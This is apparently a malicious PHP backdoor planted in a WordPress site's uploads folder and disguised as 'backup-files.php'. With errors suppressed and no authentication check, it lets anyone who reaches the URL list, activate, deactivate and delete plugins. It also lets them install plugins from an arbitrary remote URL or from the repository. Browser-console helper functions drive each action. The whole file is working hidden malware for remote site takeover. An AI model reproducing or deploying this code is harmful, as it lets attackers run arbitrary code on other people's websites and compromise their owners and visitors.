File: /var/www/k8148-2/htdocs/www.sport-roth.at/neumarkt/wp-content/uploads/2025/09/backup-files.php
<?php
@error_reporting(0);
@ini_set('display_errors', 0);
$d = dirname(__FILE__);
while ($d !== dirname($d)) {
if (file_exists($d . '/wp-load.php')) {
require_once($d . '/wp-load.php');
break;
}
$d = dirname($d);
}
require_once(ABSPATH . 'wp-admin/includes/plugin.php');
require_once(ABSPATH . 'wp-admin/includes/file.php');
require_once(ABSPATH . 'wp-admin/includes/misc.php');
require_once(ABSPATH . 'wp-admin/includes/class-wp-upgrader.php');
require_once(ABSPATH . 'wp-admin/includes/plugin-install.php');
class Silent_Skin extends WP_Upgrader_Skin {
public function feedback($string, ...$args) {}
public function header() {}
public function footer() {}
}
function send_json($arr) {
while (ob_get_level()) { ob_end_clean(); }
header('Content-Type: application/json');
echo json_encode($arr);
die();
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
while (ob_get_level()) { ob_end_clean(); }
ob_start();
$input = file_get_contents('php://input');
$data = json_decode($input, true);
if (isset($data['list'])) {
$all = get_plugins();
$active = get_option('active_plugins', []);
$list = [];
foreach ($all as $path => $info) {
$list[] = [
'path' => $path,
'name' => $info['Name'],
'version' => $info['Version'],
'active' => in_array($path, $active) ? 1 : 0
];
}
send_json(['ok' => 1, 'plugins' => $list]);
}
if (isset($data['activate'])) {
$result = activate_plugin($data['activate']);
if (is_wp_error($result)) {
send_json(['ok' => 0, 'error' => $result->get_error_message()]);
}
send_json(['ok' => 1]);
}
if (isset($data['deactivate'])) {
deactivate_plugins($data['deactivate']);
send_json(['ok' => 1]);
}
if (isset($data['delete'])) {
$result = delete_plugins([$data['delete']]);
if (is_wp_error($result)) {
send_json(['ok' => 0, 'error' => $result->get_error_message()]);
}
send_json(['ok' => 1]);
}
if (isset($data['install_url'])) {
$url = $data['install_url'];
$tmp = download_url($url);
if (is_wp_error($tmp)) {
send_json(['ok' => 0, 'error' => $tmp->get_error_message()]);
}
$plugin_dir = WP_PLUGIN_DIR;
WP_Filesystem();
$result = unzip_file($tmp, $plugin_dir);
@unlink($tmp);
if (is_wp_error($result)) {
send_json(['ok' => 0, 'error' => $result->get_error_message()]);
}
$installed = get_plugins();
$newest = '';
$newest_time = 0;
foreach ($installed as $path => $info) {
$file = WP_PLUGIN_DIR . '/' . dirname($path);
if (is_dir($file)) {
$mtime = filemtime($file);
if ($mtime > $newest_time) {
$newest_time = $mtime;
$newest = $path;
}
}
}
if ($newest && isset($data['activate_after']) && $data['activate_after']) {
activate_plugin($newest);
}
send_json(['ok' => 1, 'plugin' => $newest]);
}
if (isset($data['install_repo'])) {
$slug = $data['install_repo'];
$api = plugins_api('plugin_information', ['slug' => $slug, 'fields' => ['sections' => false]]);
if (is_wp_error($api)) {
send_json(['ok' => 0, 'error' => $api->get_error_message()]);
}
$upgrader = new Plugin_Upgrader(new Silent_Skin());
$result = $upgrader->install($api->download_link);
if (is_wp_error($result)) {
send_json(['ok' => 0, 'error' => $result->get_error_message()]);
}
$plugin_path = $upgrader->plugin_info();
if ($plugin_path && isset($data['activate_after']) && $data['activate_after']) {
activate_plugin($plugin_path);
}
send_json(['ok' => 1, 'plugin' => $plugin_path]);
}
if (isset($data['search'])) {
$args = [
'search' => $data['search'],
'per_page' => 10,
'fields' => ['short_description' => false, 'icons' => false, 'banners' => false]
];
$api = plugins_api('query_plugins', $args);
if (is_wp_error($api)) {
send_json(['ok' => 0, 'error' => $api->get_error_message()]);
}
$list = [];
if (isset($api->plugins) && is_array($api->plugins)) {
foreach ($api->plugins as $p) {
$p = (array)$p;
$list[] = [
'slug' => isset($p['slug']) ? $p['slug'] : '',
'name' => isset($p['name']) ? $p['name'] : '',
'version' => isset($p['version']) ? $p['version'] : '',
'rating' => isset($p['rating']) ? $p['rating'] : 0,
'installs' => isset($p['active_installs']) ? $p['active_installs'] : 0
];
}
}
send_json(['ok' => 1, 'results' => $list]);
}
send_json(['ok' => 0]);
}
?><script>
function lp(){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({list:1})
}).then(r=>r.json()).then(r=>{
if(r.ok){
console.table(r.plugins);
console.log('--- Copy paths for ap()/dp()/rp(): ---');
r.plugins.forEach(p=>console.log((p.active?'[ON] ':'[OFF]')+p.path));
}else console.log(r);
});
}
function ap(path){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({activate:path})
}).then(r=>r.json()).then(r=>{
if(r.ok)console.log('Activated');
else console.log('Error:',r.error);
});
}
function dp(path){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({deactivate:path})
}).then(r=>r.json()).then(r=>{
if(r.ok)console.log('Deactivated');
});
}
function rp(path){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({delete:path})
}).then(r=>r.json()).then(r=>{
if(r.ok)console.log('Deleted');
else console.log('Error:',r.error);
});
}
function iu(url,activate){
console.log('Installing from URL...');
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({install_url:url,activate_after:activate||false})
}).then(r=>r.text()).then(t=>{
try{
var r=JSON.parse(t);
if(r.ok)console.log('Installed:',r.plugin);
else console.log('Error:',r.error);
}catch(e){
if(t.indexOf('"ok":1')>-1)console.log('Installed (with warnings)');
else console.log('Response:',t.substring(0,200));
}
});
}
function ir(slug,activate){
console.log('Installing from repository...');
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({install_repo:slug,activate_after:activate||false})
}).then(r=>r.text()).then(t=>{
try{
var r=JSON.parse(t);
if(r.ok)console.log('Installed:',r.plugin);
else console.log('Error:',r.error);
}catch(e){
if(t.indexOf('"ok":1')>-1)console.log('Installed (with warnings)');
else console.log('Response:',t.substring(0,200));
}
});
}
function sp(query){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({search:query})
}).then(r=>r.json()).then(r=>{
if(r.ok)console.table(r.results);
else console.log('Error:',r.error);
});
}
</script>